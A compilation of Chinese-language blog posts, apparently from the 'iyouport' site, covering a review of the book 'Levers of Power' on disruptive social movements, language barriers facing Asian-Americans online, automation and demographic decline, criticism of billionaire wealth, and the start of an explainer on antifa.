《权力的杠杆》中阐述的变革理论建立在社会运动的可行性及其自身的破坏力之上。与 “活动家应该将自己的诉求引向乐于接受的政治家” 的传统观点相反，这本书认为，只有通过对关键资本家（或有名誉需要维护的国家机构）施加重大压力的反作用力，改变制度的改革才有可能。作者在多个案例研究中证实了这一论点，其中最令人信服的是劳工运动和民权运动。

在20世纪30年代末，汽车工业中激进的劳工罢工比以往任何一次抗议浪潮都更加强烈地震撼了主要资本家。面对大萧条将进一步加深的严峻前景，制造商们决定《瓦格纳法》（Wagner Act）中规定了但在当时执行不力的集体谈判权是维护资本主义的 “可接受价格”。

【注：《瓦格纳法》是美国1935年制定的第一个《全国劳资关系法》〔National Labor Relations Act〕。该法旨在保护劳工利益，如赋予工会权利，界定雇主的不正当行为等。但没有得到充分执行。】

在罗斯福的第一个任期内，关于工会权利的争夺战一直旷日持久，而参议员罗伯特·F·瓦格纳（Robert F. Wagner）“既有原则性的动机，又有实用性的动机”，《权力的杠杆》一书的作者写道，他最初是民主党议员中的一个“孤独的声音”。新交易商优先考虑通过金融改革稳定经济，《国家工业复苏法案》和全国复兴总署 (National Recovery Administration) 为公平的商业行为制定了工业准则，这在很大程度上取决于工业巨头的诚意和合作。

新政初期的重大罢工潮促使1935年通过了《瓦格纳法案》，而20世纪30年代末的汽车工人罢工成效更大，因为“工会间的竞争 [增加了] 工会的民主，给龙头企业带来了灾难”。

《权力的杠杆》强调：“普通工人支持的劳工领袖争相向雇主提出更激进的要求，并支持在车间采取更激进的行动”，从而迫使工业界接受全国劳资关系委员会及其对工会权利的监督。📌 让《瓦格纳法》所规定的权利真正落实的是有组织的工人运动，而不是任何政治领导人。

民权运动也有类似的动态特点，尽管在这种情况下，是对当地著名企业的战略性抵制促使其业主放弃种族隔离。1963年的伯明翰抵制运动是一个重要的转折点：运动组织者从以前的运动中磨练出了策略，将目标锁定在对当地经济最不可或缺的商人和行业，正是因为他们的弱势地位使他们比其他精英更愿意满足反抗运动的要求。

Young、Banerjee 和 Schwartz 写道，“伴随着抵制运动的大规模示威和静坐，市中心的商家不仅失去了黑人顾客，也失去了许多白人顾客，他们在黑人抗议活动中不敢到市中心来。”这让零售商每周损失了数十万美元。反过来，抵制活动的规模和组织者的“目标一致”又促使深受损失的商家“拉拢政客，接受整合”。

伯明翰民权运动力量的增强刺激了其他南方城市越来越多的企业抛弃继续维护“吉姆克劳法”的南方民主党人。其他因素进一步加重了各地方资本家的压力。

【注：吉姆·克劳法 1876年至1965年间美国南部各州以及边境各州对有色人种实行种族隔离制度的法律。这些法律上的种族隔离强制公共设施必须依照种族的不同而隔离使用。】

对国家国际形象的担忧固然影响了肯尼迪政府威胁联邦干预，但更重要的是，这本书认为，“司法部门越来越不愿意支持种族主义暴力和种族隔离，这降低了国家在南方镇压的效力”。虽然白人至上主义暴力的持续威胁仍然非常真实，但国家行为者之间更明显的裂痕为民权活动家提供了更多的空间来测试、完善和利用他们最有效的策略。

涟漪效应很明显：如果那些热衷于继续战后南方经济发展的企业不再是吉姆-克劳法的既得利益者，那么民权活动家就可以在联邦层面抓住时机。

国会和约翰逊政府中的自由主义者看到，南方种族秩序曾经的绝对力量正在失去主要支点，他们明白立法改革的可能性已经提高 —— 而且必须采取行动，他们是为了避免抵制活动引发更广泛的动荡。

通过分化南方精英，黑人活动家迫使自由派盟友通过了《民权法》和《选举权法》，这使他们有能力影响约翰逊的大社会计划。

📌 这些例子强调，通往实质性改革的道路往往需要一种辩证法，在这种辩证法中，急剧的战略动员迫使私营部门的行为者与保守派盟友决裂，导致他们容忍对反抗者的要求作出让步，同时，持续的反抗对可能的改革者产生了巨大的压力，要求他们最大限度地作出这些让步。

有效的社会运动并不能解决改革中更棘手的问题—— 变革能走多远，变革在重新聚集的反对派面前能否持久 —— 但它们确实迫使政治精英和经济精英彼此之间摊牌，将新的问责范围推到公众面前，在这种情况下，必须在改善条件方面取得真正的进展。

随着去年夏天**BLM**运动的重新兴起，被证明是自**1960**年代以来规模最大的抗议运动，“权力的杠杆” 的总体论述既清醒又有指导意义。只有持续的破坏、明确损害商业利益，才有可能创造深化民主的机会，因为只有这样，越来越大的恢复社会和平的压力才能迫使政治精英改变政府的 “实质”，以更好地体现公平和正义。

事实上，这种变革理论也反映了许多黑人作者的贡献，他们记录了黑人的激进传统和人民反对种族主义和贫困的运动。从奴隶反抗到反殖民运动，攻击财富和政治统治的关系一直定义着被压迫的人们为赢得自由而使用的重要技巧和手段。

正如 Keeanga-Yamahtta Taylor 在6月乔治·弗洛伊德被杀的第一次反对警察暴力的起义后所写的那样：集体的、有时是暴力的抗议活动有

能力催化 “对一个不同于我们生活的这个社会的要求和愿望。反抗者不仅表达了自己的失望，而且还展示了我们整个社会的困境”。

📌 正如被边缘化社区和工人阶级不能依靠选举来推动平等一样，抗议者也必须认识到他们的战略和行动不能依靠精英的认可。

伯尼·桑德斯的两次总统竞选的失败，以及许多其他落选的进步人士的竞选失败，已经表明一个范围广泛的左翼选举项目至少还需要一代人的努力才能取得成果。尽管这种选举工作是必不可少的，但是，如果不接近从事直接行动的社会运动、如果没有来自社会运动的压力，那么这种选举工作永远都是偏向于追求体制内的 “改革”。

因此，“权力的杠杆” 这本书隐含的信念是，被压迫者的破坏性集体力量对于克服公共政策的 “去政治化” 是必要的，而这种去政治化往往是新自由主义时代的特征。随着民主危机的加速，政治的冲突性正在重现，吸引越来越多的人做出决定，将建制派政治的疲惫局面解密，并取而代之。〇

原文

互联网将不会说英语的(亚裔美国)人排除在外 - iyouport

社会反抗和思考

这是一个重要的议题。但它绝对不能局限于亚裔美国人

【按】我们从来都鼓励人们学习多种语言，这是为有助于打开您的思考方式的多样性。学习会充满乐趣。但是，人们必需能够享有不学习其他语言的权利，这一权利必需能满足人们的需求以获得平等的机会，而不依靠多语种能力的特权。

不论是维族人拒绝学习汉语、加泰罗尼亚人拒绝说西班牙语、还是互联网使用者拒绝学习英语，他们都应该获得与汉语、西班牙语、英语使用者同样的充分的服务和信息；巴基斯坦人如果拒绝学习中文也应该获得与中文使用者同等的工作机会。这就是人权。

这不是任何新想法，它是一场持久的运动，名为“语言正义”运动，在互联网时代它必需必然进入数字领域，成为反数字殖民主义的重要部分。

因为它是一个重要的议题。

本文来自MIT，在上述议题下这篇文章已经显得格外肤浅，它只是蹭了一个反亚裔种族主义浪潮的“热点”，在触及到上述真正的问题方面，一带而过。

但您应该理解这一问题，做为反抗运动的战略重点之一。

詹妮弗·熊(Jennifer Xiong)用一个夏天的时间帮助在加州的苗族人在美国总统选举中登记投票。苗族是一个来自中国、越南、老挝和泰国山区的民族，但没有自己的国家，而熊女士是弗雷斯诺的苗族创新政治组织（HIP）的志愿者。

美国大约有30万苗族人，她花了几个小时打电话给银行，并在苗族广播和电视频道上做广告。这是一项鼓舞人心的工作。她说：“这对我

来说是一件全新的事。年轻的、进步的、主要是女性在我们的社区做这种工作是非常罕见的，我知道这将是一个巨大的成就。” 从各方面来看，这确实是一个巨大的成就。在2020年的选举中，亚裔美国人的投票率普遍很高，观察家们说苗族公民的投票率是他们记忆中最高的。

但熊说，这也是难以置信地令人沮丧的经历。

虽然苗族人与美国有着长期的联系 —— 许多人在越战期间被招募来支持美国后被鼓励移民到太平洋彼岸，但他们往往被排除在主流政治话语之外。一个例子，在弗雷斯诺县的登记网站上，关于选民登记的页面有一个选项，可以将整个页面翻译成苗语，但是，熊说，很多信息都翻译错了。

而且，它从一开始就是这样的。她说，原本应该是 “你好” 或 “欢迎” 的苗语部分显示的却是别的东西，比如 “法官” 或 “女王” 或 “国王”。

看到如此简单的事情做不对，让人感到沮丧和反感。她说：“这不仅可能是通过谷歌自动翻译的结果，甚至没有经过同行的编辑和检查，以确保流畅性和连贯性。

熊说，这种粗心大意的情况在网上很常见，这也是她和苗族社区的其他人感到被排斥在政治之外的原因之一。

他们并不是唯一感觉到数字世界不是为他们而建的人。互联网本身就是建立在英语优先的架构之上的，在美国主持公共讨论的绝大多数大型社交媒体平台也都是英语优先。

随着技术成为在美国公民空间的代名词，英语的首要地位被放大了。对于亚裔美国人来说，向数字化的转变意味着对民主机构的访问 —— 从投票登记到当地新闻的一切 —— 都受到了语言障碍的阻碍。

这也是卫生保健方面的一个问题。在大流行期间，当黑人、西班牙裔和原住民病人住院或死亡的可能性比白人病人高两到三倍时，这些障碍增加了另一个负担。波士顿布里格姆妇女医院发现，不会讲英语的病人死于冠状病毒的可能性比讲英语的病人高出35%。翻译问题并不是唯一的问题。熊说，当苗族用户试图进行疫苗预约时，他们被要求提供他们的星座作为一个安全问题 —— 尽管这个社区的许多人都不熟悉西方的占星术。

在正常情况下，克服这些挑战已经很复杂了，因为亚裔美国人是美国

语言最多样化的族裔群体。但是，在经历了现实世界和网上对亚裔美国人的攻击急剧增加的一年后，这种情况以另一种方式变得紧迫。

“他们无法识别虚假信息”

「图」

促进亚洲人和太平洋岛民公民参与的非营利组织 APIAVote 的执行董事克里斯蒂娜·陈说，在美国，政治生活对亚洲人来说一直是 “排他性的”，但 “有了数字空间，它甚至更具挑战性。被孤立无援是如此的容易”。

像 Facebook、Twitter 和 YouTube 这样的大平台在亚裔美国人中很受欢迎，像微信、WhatsApp 和 Line 这样的信息应用也是如此。人们使用哪种沟通渠道往往取决于他们的种族。在选举活动中，陈专注于建立一个志愿者网络，可以进出这些孤岛，以实现最大的影响。当时，针对亚裔美国人的虚假信息在微信群、Facebook 和 Twitter 上大行其道，而在这些地方，非英语语言的事实核查效果很差。

APIAVote 的志愿者们会加入各个平台的不同群组，在鼓励成员投票的同时监测虚假信息。志愿者们发现，例如，越裔美国人成为了 “乔·拜登是社会主义者” 这一虚假消息攻击的目标，利用了他们对共产主义的恐惧；这与针对古巴裔美国人的政治信息类似。

陈说，虽然 Facebook、Twitter 和其他公司的内容审核政策成功地过滤掉了一些最明显的英语虚假信息，但当这些虚假信息以其他语种出现时，该系统往往会错过这些内容。这项工作不得不由像她的团队这样的志愿者来完成，他们接受了培训，寻找虚假信息、化解它，至少尽量减少其传播。她说：“那些旨在捕捉某些词语和东西的事实核查机制，在不同语种的情况下就不会有效了”。

谷歌的翻译服务和技术，如 Translatotron 和实时翻译耳机，使用人工智能来转换语言。但是，熊发现这些工具对于苗族人来说是远远不够的，因为苗语是一种非常复杂的语言，语境是很重要的。“我认为我们已经变得非常自满，太过依赖像谷歌这样的先进系统”，她说，“他们声称自己是 ‘语言无障碍’，而你读读就知道了，它说的是完全不同的东西。”

谷歌的一位发言人承认，小语种 “构成了更困难的翻译任务”，但他说，该公司已经 “投资于特别有利于低资源语言翻译的研究”，使用机器学习和社区反馈。

一路下滑

「图」

语言在线的挑战远非限于美国 —— 它必需从底层代码开始讨论。Yudhanjaya Wijeratne 是斯里兰卡智库 LIRNEasia 的研究员和数据科学家。2018年，他开始追踪僵尸网络，这些僵尸在社交媒体上的活动鼓励了针对穆斯林的暴力行为：当年2月和3月，僧伽罗佛教徒在安帕拉和康提等城市针对穆斯林和清真寺发生了一系列暴乱。他的团队记录了机器人的 “狩猎逻辑”，对数十万个僧伽罗人的社交媒体帖子进行了编目，并将这些发现带到了 Twitter 和 Facebook。他说：“这些大公司只会说各种好听的、善意的东西 —— 基本上是信口雌黄的声明。比如在一份声明中，推特说它使用人工审查和自动系统来 “对服务中的所有人公正地应用我们的规则，无论其背景、意识形态或在政治光谱上的位置如何”。

当麻省理工学院技术评论联系时，Facebook 发言人说，该公司委托对该平台在斯里兰卡暴力事件中的作用进行了独立的人权评估，该评估于2020年5月公布，并在袭击事件发生后做出了改变，包括雇用了几十名讲僧伽罗语和泰米尔语的内容审查员。他们说：“我们在僧伽罗语中部署了主动的仇恨言论检测技术，以帮助我们更快速有效地识别潜在的违规内容”。

当机器人的行为继续下去时，Wijeratne 对这些陈词滥调产生了怀疑。他决定查看这些公司正在使用的代码库和软件工具，并发现监测大多数非英语语言的仇恨言论的机制尚未建立。

Wijeratne 说：“事实上，很多像我们这样的语言的研究根本还没有完成。我用三行英文 Python 代码就能做到的事，我花了两年时间研究2800万字的僧伽罗语，以建立核心语料库，建立核心工具，然后把它提升到能够进行文本分析的可能水平”。

2019年4月，自杀式炸弹袭击了斯里兰卡首都科伦坡的教堂后，Wijeratne 建立了一个工具，分析僧伽罗语和泰米尔语的仇恨言论和错误信息。该系统名为 Watchdog，是一个免费的移动应用程序，可以汇总新闻并对虚假消息附加警告。这些警告来自于接受过事实核查培训的志愿者。

Wijeratne 强调说，这项工作远远超出了翻译的范围。

他说：“许多我们认为理所当然的算法在研究中经常被引用，特别是

在自然语言处理中，它们只是对英语显示出出色的结果。然而，许多相同的算法，即使用在只有几度之差的语言上—— 无论是德语还是罗曼语系的语言，都可能得到完全不同的结果。”

自然语言处理是自动内容审核系统的基础。Wijeratne 在2019年发表了一篇论文，研究了它们在不同语言中的准确性之间的差异。他认为，一种语言存在的计算资源越多，如数据集和网页，算法就能更好地工作。来自较贫穷国家或社区的语言则处于不利地位。

“如果你要建造，比如说，英语的帝国大厦，你有蓝图。你有材料，你手头有一切，你所要做的就是把这些东西放在一起。而对于其他语言，你没有蓝图。你不知道混凝土会从哪里来。你没有钢铁，你也没有工人。因此，你将坐在那里一块一块地敲打，希望你的子孙可能完成这个项目”，他说。

根深蒂固的问题

「图」

提供这些蓝图的运动被称为语言正义，它并不新鲜。美国律师协会将语言正义描述为一个“框架”，维护人们“用自己喜欢的、觉得最能表达清楚和最有力量的语言来进行交流、理解和被理解”的权利。

实现语言正义的道路是脆弱的。技术公司和政府服务提供商必须将其作为更高的优先事项，并投入更多的资源来实现它。而且，Wijeratne 指出，针对亚洲人的种族主义、仇恨言论和排斥，尤其是在美国，早在互联网出现之前就已经广泛存在。即使语言正义能够实现，也无法解决这些根深蒂固的问题。

但对熊女士来说，语言正义是一个重要的目标，她认为这对苗族社区至关重要。

选举结束后，熊在她的组织中担任了一个新的角色，寻求将加州的苗族社区与公共服务联系起来，如人口普查局、县政官员和疫苗登记。她的主要目标是“满足社区的需要”，不管是在苗族电台还是通过 Facebook 的英语直播，然后将苗族人的观点放大到更广泛的公众。但是，她每天都要面对技术上的不平等，这种不平等将人们拒之于对话之外，并使他们无法获得资源。

平等将意味着“在一个口译和笔译只是常态的世界里运作”，她说，“我们不问是否有足够的预算，我们不问它是否重要或有价值，

因为当它出现在立法桌上和公共场所时，我们会优先考虑它。”〇

The internet is excluding Asian-Americans who don’t speak English

原文

人口，究竟意味着什么 - iyouport

社会反抗和思考

在不久的将来 …… 不，自动化不是解决方案。

感谢读者来稿。

最近，中国的小米公司披露了其仿生机器人 CyberOne。这个机器人高177厘米，重52公斤，被吹嘘得一塌糊涂。声称其 “具有高情商、可感知人类情绪，视觉敏锐、可对真实世界三维虚拟重建” ……

Thanks for reading iyouport! Subscribe for free to receive new posts and support my work.

Suscribirse

目前还不知道 CyberOne 何时上市销售。估计价格在60万至70万人民币之间。

这个消息被各种语种翻译和传播，携带者民族主义的亢奋，尤其是，它引发了一些不切实际的议论。

一些乐观主义者不认为他们国家的人口老龄化是一个问题，他们说 “自动化可以解决一切问题”。这表明他们既不了解这种解决方案的成本，也不了解提供这种成本所需的条件，更不了解资本主义的运作方式。

拥有所有技术的现代世界，首先是由作为进步基础的劳动力实现的，其次是由工业化实现的，第三是由全球化实现的 - 它允许每个人与其他人进行贸易，获得进入所有市场的机会，并实现以前不可能的生产链。

在国民经济中完全自己制造一切的想法可能听起来不错，直到你意识到你根本没有“一切”所需的资源，如果你试图生产一些复杂的东西，比如一个无线耳机，你会在供应链中一直数到第1200个步骤才能看到耳机。只有在市场的专业化、全球保持不平等、和保持全球化的背景

下，才有可能在当前的经济模式下大规模地、廉价地生产这些东西。单级结束了，随之而来的就是一个多极化的世界。

这到底是好是坏，目前还是个哲学问题。但这已经是正在发生的事，由此可见，明天，当我们生活在区域性的、国有化的、在某些情况下是去工业化的世界中时，一切都会变得更少，一切都会变得更贵。

生产一部苹果手机需要570美元成本，但一个工业机器人需要多少钱？数万到数十万。

你从哪里获得制造机器人所需的铝、钢、塑料、有机玻璃、碳纤维、合成橡胶和其他材料，才能解决老年人越来越多、年轻人和生产力越来越少的问题？

比方说钢铁。世界第二大的钢铁生产集中在俄罗斯、乌克兰、白俄罗斯的集群中。如果你与该地区发生冲突，那么你的机器人就不得不用其他东西来组装了。例如铝？好吧。但是，这种耐用性差得多的材料的绝大部分生产也是在同一地区进行的（铝的生产量排名全球第三）。用战争来“解决”独裁问题？那就考虑做个木头的机器人 .....

为了生产钢铁，你需要能源来给工厂供电，谁有这种能源？谁来控制它？

这就是资本主义全球化政治的运作方式。在这种情况下，比如德国就不可能随便说：“你普京是个混蛋，杀人是犯罪，我们不会和你做朋友”。因为在这里做决定的不是思想、文化、伦理或道德。做决定的东西是物质。物质是所有语言、运动、可能性的根源。存在决定了意识。一个人依附于另一个人。关于所谓的“我们将拥抱机器人飞向更光明未来”的争论，犹如亚特兰蒂斯人发的抖音视频。

更有可能出现的情况是，机器人成为第一世界国家中衣食无忧阶层的下一个特权。而在全球南方，机器人的功能将是清除 “过剩人口”，并控制饥饿的奴隶，这些所谓的“过剩人口”是比机器人更实惠、更容易获得的解决方案。铁链子和项圈不需要台湾的微芯片。

然而，即使你消灭了所有的 “多余的嘴”，奴役了一大群人，用机器人取代了所有那些想要吃饭和要求工资的工人，问题仍然是：谁会买你的这些机器人将生产出来的**iPhone**？**R2D2**？人们到哪里去弄钱来买它们？—— 没有工人，就没有消费者。

消费主义时代就要结束了。就气候而言，它在经济上也不再可行。无

论我们中的任何一个人现在怎么想象，在不久的将来都不可能有任何机器人化的迹象。

足够明智的人应该去为优化基本生活标准和满足基本需求做准备，而不是为钢铁普罗米修斯的到来做准备。好吧……但是，没用。

那么，人口究竟意味着什么？

「图」

进步影响到人口统计：一方面，死亡率下降，预期寿命增加，人口增长；另一方面，城市化发生，出生率下降。在农村的免费劳动力——孩子——在城市里变成了昂贵的负担，生育的私人经济可行性严重下降。换句话说，工业化催生了人口增长，但它也改变了社会的人口结构：老人更多了（因为人们寿命更长），年轻人更少了（因为城市居民的孩子更少）。

家庭结构正在发生变化：过去作为家庭厨师孵化器的妇女正在向城市转移，获得教育，并有机会加入工业化所需的劳动力。新的条件使她们能够自己谋生和保护自己，繁忙的工作使她们没有时间生养孩子；一个妇女权利运动出现了，这是一场为市场服务的解放，为其成员创造了新的身份。当需要将工人阶级的规模扩大一倍时，“自由女性”就会出现。女权主义有助于工厂的工作。

1700年，英国妇女平均有4.6个孩子。就像19世纪的德国女性一样。以及1900年代的意大利妇女、1960年代的韩国妇女、或1970年代的中国妇女。今天，所有这些国家的生育率都已经下降到每个妇女1.8个孩子，而社会的繁衍需要至少2.1个孩子。

起初，较少的子女数量允许储蓄和积累资本。因此，那些较早实现工业化的社会积累了更多的资源来投资于进步，并保持着更大的活力，尽管它们的年轻人和生产力都在下降。然而，这种活力是一种暂时的效果。消费高峰出现在**15**至**45**岁年龄段。这一部分是市场经济的驱动力。它的衰落意味着活力减弱，生产力下降，有能力生产和消费的年轻人短缺。

人口在增长，而儿童却在减少。今天的孩子更少了，意味着明天的年轻工人更少，而后天的技术工人也更少。有能力生育的人的短缺是通往人口崩溃的门票。那些首先实现工业化的国家将首先面临这一问题。

这不仅仅是工人的短缺问题。这是关于消费者和消费能力的短缺问题，在经济体系崩溃的情况下，饥饿的嘴巴越来越多。我们是21世纪的恐龙。

2020年代是中国、俄罗斯、日本、德国、意大利、韩国、乌克兰、加拿大、马来西亚、台湾、罗马尼亚、荷兰、比利时和奥地利的转折点。他们的人口将大规模退休，并且周围没有人可以确保一个稳定增长的繁殖。在2030年代，巴西、西班牙、泰国、波兰、澳大利亚、古巴、希腊、葡萄牙、瑞士都将是这种情况。如果不想在2050年代灭亡，孟加拉国、智利、印度、越南、印度尼西亚、墨西哥、伊朗、土耳其、摩洛哥、乌兹别克斯坦、沙特阿拉伯和捷克共和国必须说服他们20-30岁的年轻人今天就生孩子。马上。

非洲和拉丁美洲的生育率看起来一切正常，但只是因为这些国家在没有工业化的情况下获得了工业化的好处 —— 即 通过全球化，使他们能够进口粮食和技术。而现在，全球化的保障者美国，既没有能力也没有必要继续这样做了，so 这些地区正面临着一个战争、疾病和饥饿的时代。是的，他们有一个年轻人的海洋；但问题是，他们中有多少人能够活到明天。

要么我们找到一种方法来平衡进步和生物生产之间的关系，并在全球合作和利益分配的不同原则基础上创建一个新的系统，要么，等待我们的将是帝国主义法西斯主义的雪崩、生殖之战、回到前工业时代，或者由于核争端和全球变暖而从地球上灭绝。

【注】对于上述的一点说明：关于什么是去全球化？它意味着什么？

现在，“去全球化”这个词已经变成了口头禅，你可以从任何地方听到。但真的所有人都了解它是什么意思吗？

为了解释这个概念，应该从它的反面开始，即：什么是全球化？全球化是第二次世界大战后形成的世界秩序，它被证明是人类历史上最大的技术-工业飞跃。当然，这并不能否定其代价 ——全球战争和干预、剥削和不平等。但这些不是此处的重点。

全球化是一种贿赂：美国向世界提供了前所未有的东西——与任何人进行贸易的能力。在那之前，只有拥有强大的舰队和殖民地网络的帝国才有能力进行大型贸易。美国向其他国家提供其海军，作为海上安全的保证，以换取.....对抗苏联的政治联盟。这笔交易成功了，成功得写入了光辉的历史书 - 它决定了冷战的结果：苏联解体，成为世界新秩序的肥料 —— 始于20世纪80年代末/90年代初、止于今天的全

球资本主义黄金时代。

但是，如果一切顺利的话，为什么会有“去全球化”呢？这是因为，

1）苏联已经不存在了，旧的贿赂已经没有意义。今天美国的地位意味着，贿赂的目的已经达到。

2）全球化引起的工业进步滋养了全球玩家，而今天美国没有一支能够控制全世界海洋的舰队。当然，它仍然是地球上最强大的舰队；非常适合投射美国的力量；但不是为了让世界上所有的水域都控制在掌中，并保证安全。而且，当美国自己并没有像德国那样加入全球化时，为什么还要保留它呢，更何况他们可以自给自足……

3）全球进步会发生什么？全球生产力增长和工业化。这伴随着城市化：村民们去了城市。他们不再需要在田里工作，他们可以去工厂，在服务部门找一份工作，坐在办公室里。同时，他们的子女在农村环境中是免费劳动力，而在城市环境中则成为高价的奴隶。因此，城市居民的孩子比农村居民少，随着时间的推移，这会反映在人口统计中。这就是为什么所有的发达社会都在迅速老龄化，他们的“原材料附属物”迟迟没有城市化，生育率也在随着时间的推移而下降。例如，之所以一些非洲国家没有出现这种情况只是因为它们还没有时间实现工业化……鉴于他们对进口的依赖，而进口又依赖于一个垂死的全球体系，这意味着数百万这些年轻和有生育能力的人将面临饥饿、战争、疾病和死亡。

这就是一个酝酿革命的历史僵局的位置：无论是资本主义、社会主义、法西斯主义，还是你所知道的任何其他经济模式，都没有设想到工人数量减少、生产力下降和增长停止的情况。“负增长”是最可能的未来。一个还没来得及形成经济理论的未来。“全球化和全球进步的未来” 将是不可能的。换句话说，资本主义本身正在进入晚期，因为没有人口增长，就没有生产力的增长，就不能转化为资本、转化为剩余价值、转化为积累 ……。

可以预见的是，世界将被分割成围绕地方领导人建立的区域贸易体系。这就是 “去全球化”。一个由拼凑构成的世界。没有霸主。没有统一的系统。没有共同的规则。简单说：一个为生育力和地理环境而斗争的世界。一个多极化的世界。一个数十亿人将被成为“多余”的世界。一个由成群结队的饥饿人口、地域霸主、贫民窟城市和由非城市化的村庄组成的世界。在这个世界上，一切都会变得更少，一切都会更贵。

这就是值得思考的地方，也是我们的政治想象力需要应用的地方。过去的事情已经过去了。明天就要来了。而这取决于我们，每一个人，在其中填充什么。〇

1. Ageing #Deglobalisation #Automation #Inequality #China #Imperialism #Nationalism

Thanks for reading iyouport! Subscribe for free to receive new posts and support my work.

Suscribirse

原文

亿万富翁是经济失败的标志 - iyouport

社会反抗和思考

【2020年3月4日存档】有钱了可能是好事，但有太多的钱真的是好事吗？尤其是，永远都是那几个人和他们的子孙能拥有太多的钱，而绝大多数其他人不论如何拼搏都是虚妄？……顺便推荐两本书

中国正在努力“消除贫困” …… 就如你所知道的那样，当权者鼓励普通公民 “献爱心”，但是，这真的是消除贫困的有效方法吗？不。恰恰相反，这是拒绝消除贫困的手段，因为，你首先要知道真正的贫困来自哪里。

《纽约时报》于去年1月在其头版发表社论，题为 “废除亿万富翁”。

该社论提出了一个严重的问题：如果亿万富翁不是经济成功的标志，而是经济失败的标志，那会如何？

亿万富翁的蓬勃发展以及极端财富的急剧增加将以何种方式产生危害？

要回答这个问题，首先需要了解亿万富翁财富的来源，并了解一旦获得财富后这些钱会如何被使用。

这两个问题的答案都正确地质疑了超级富豪在社会中的价值。

亿万富翁的财富中大约有三分之一来自继承。很难证明继承财富的经济效用，相反，有充分的理由证明继承财富破坏了社会流动性和经济进步。

相反，它创造了一个新的贵族，他们仅仅因为父母有钱而变得富有，这很难被视为一件好事。

无论是继承还是以其他方式获得担保，极端财富都会发挥自己的作用。超级富豪有钱花在最好的投资建议上，亿万富翁的财富自2009年

以来平均每年增长11%，远高于普通储户可获得的利率。

比尔·盖茨（Bill Gates）在2019年的身家接近1000亿美元，几乎是他辞去微软负责人时身家的两倍。尽管他对捐出自己的钱做出了很好听的承诺。

正如托马斯·皮凯蒂（Thomas Piketty）在他的《21世纪的资本》一书中所阐述的："无论最初财富不平等的理由有多么合理的，在社会效用方面，它都会超出任何合理的理由。"

乐施会的迪迪埃·雅各布斯（Didier Jacobs）几年前曾计算过，另一位亿万富翁的财富来自与政府和垄断的裙带关系。

经济学人已经开发出一种对裙带资本主义的衡量方法，其发现也与此类似。很明显，腐败和与政府的裙带关系是亿万富翁获得财富的很大一部分原因。

正如尼克·沙克森（Nick Shaxson）在其新书《金融诅咒》（Finance Curse）中所详述的那样，全球经济的几乎所有领域现在都存在强大的资本垄断。

无论是食品、药品、媒体、金融、还是技术，都是仅仅由极少数几个大型公司把控的。

显而易见，数十年来的并购潮是寡头企业消灭竞争对手的最基本方式，从而导致了这种情况。

从历史上看，尤其是在20世纪初期，在美国，垄断势力被正确地视为对经济和社会的严重威胁，并采取了措施来打破垄断。

富兰克林·罗斯福总统曾有句著名的话说："有组织的金钱就如有组织的暴民一样危险"。

但是，近几十年来，新自由主义经济学对垄断力量的看法更为温和了，现在几乎没有采取任何行动拆除它们。

我认为这是新自由主义和古典自由主义经济学之间的主要区别。

这些垄断者对每个消费者都征收隐性的垄断税，因为这使这些寡头公司及其富裕的股东能够从市场中获取过多的利润，从而直接以牺牲普通市民为代价，促进了极端财富的增长。

公司的行动、包括走向垄断的行动，仅仅受到为股东不断增加的回报的驱使，这些股东主要是非常富有的人。

乐施会发布的有关“G7 七宗罪”的论文显示了股东回报率如何显著增加，而实际工资却几乎没有任何增加。

公司权力和公司行为的背后是超富豪股东的权力越来越大。

一旦亿万富翁的财富积累起来，其使用方式也会使人们对拥有亿万财富的富翁的有用性产生怀疑。

正如巴拿马文件和其他消息所揭示的那样，超级富豪利用他们的财富支付尽可能少的税，积极利用了秘密的避税天堂全球网络。

一项基于这一泄漏信息进行的开创性研究表明，超级富豪实际所付的税款比他们应该缴付的少了30%，这使政府损失了数十亿美元的税收收入，而这些钱原本可以用于学校或医院的公益性建设。

超级富豪得到了信托与房地产从业者协会（STEP）的支持，该组织是一个秘密组织，由20,000多名财富管理人员组成，该组织积极向政府施压，要求他们降低最富有者的税收。

数十亿美元不仅用于确保降低税收；它们也可以用来获得有罪不罚的特权 —— 收买政客或收买顺从的媒体。

使用“黑钱”来影响选举和公共政策是世界范围内都日益严重的问题。

乐施会的另一项最新研究表明，拉丁美洲非常富有的人掌握了许多政治手段。当今许多新型的民族主义、种族主义领导人都有大量的财政支持。

超级富豪的这种积极的政治影响力通过构建强化的反馈循环而直接加剧了更大的不平等 —— 在这种循环中，游戏的获胜者获得了更多的资源，可以在下一次赢得更大的胜利。

出于所有这些原因，我认为有必要提出一个有力的理由，正如一位美国评论员最近所说的那样：“每个亿万富翁都是政策失败的标志”；尤其是，如果我们要消除贫困并建立更公平的社会，我们就需要结束极端财富。〇

Billionaires are a Sign of Economic Failure

原文

什么是 antifa，或者说谁是 antifa？ - iyouport

社会反抗和思考

【2020年11月6日存档】其实这是一件非常奇怪的事，似乎一夜之间中文网络上出现了非常多声明自己 “反对 antifa” 的人 …… 本文作为一个基本的简要解说，也许能化解一些误会（如果真的是误会的话）

【注】对 antifa 的妖魔化已成为唐纳德·特朗普连任宣传的核心内容，其功能是将异议定为刑事犯罪，并使黑人解放斗争失去合法性。

在2017年弗吉尼亚州夏洛茨维尔 “团结右翼” 集会演变为暴力事件后，众所周知特朗普赞扬了白人至上主义联盟的 “非常优秀” 成员，并将发生的极右翼暴力杀人事件归咎于 “双方” —— 此后，这一立场在他的政策中得到了具体的体现。

8月，Facebook 决定将左翼社会正义组织等同于种族主义民兵组织加以审查封锁，这只是政府立场的延伸。左翼无政府主义团体 Crimethinc 声明：“几个月来，特朗普在一系列社交媒体上发表言论，污蔑无政府主义者和反法西斯主义者是美国持续的警察暴力所引发的全国性抗议浪潮的罪魁祸首”。

8月初，德克萨斯州参议员 Ted Cruz 主持了参议院司法小组委员会关于所谓的 “制止无政府主义暴力” 的完全闹剧式听证会。这位参议员反复责备民主党人没有谴责 antifa 的 “谋杀行为”，而这一谋杀行为实际上是由极右派实施的 —— 并拒绝被纠正。

TheIntercept 指出，毫无疑问，极右翼组织在过去的三十年里共犯下了329起记录在案的谋杀案。没有任何一起谋杀案被归因于 antifa。在2009年至2018年之间，白人至上主义者和极右翼极端主义者在全美73%的极端主义谋杀事件中负有责任。更不用说警方批准的由国家认可的种族主义屠杀了。

所有这些政治宣传和审查行动制造了一种扭曲的叙事，显然，对保守派占比多数的社会带来了严重的误导。

希望这篇文章和这本书能帮助人们重新回到事实中来。

By Stanislav Vysotsky

名为 “antifa” 的运动是从 “anti-fascist” 的缩写形式得名的，这是其成员唯一一致同意的事。

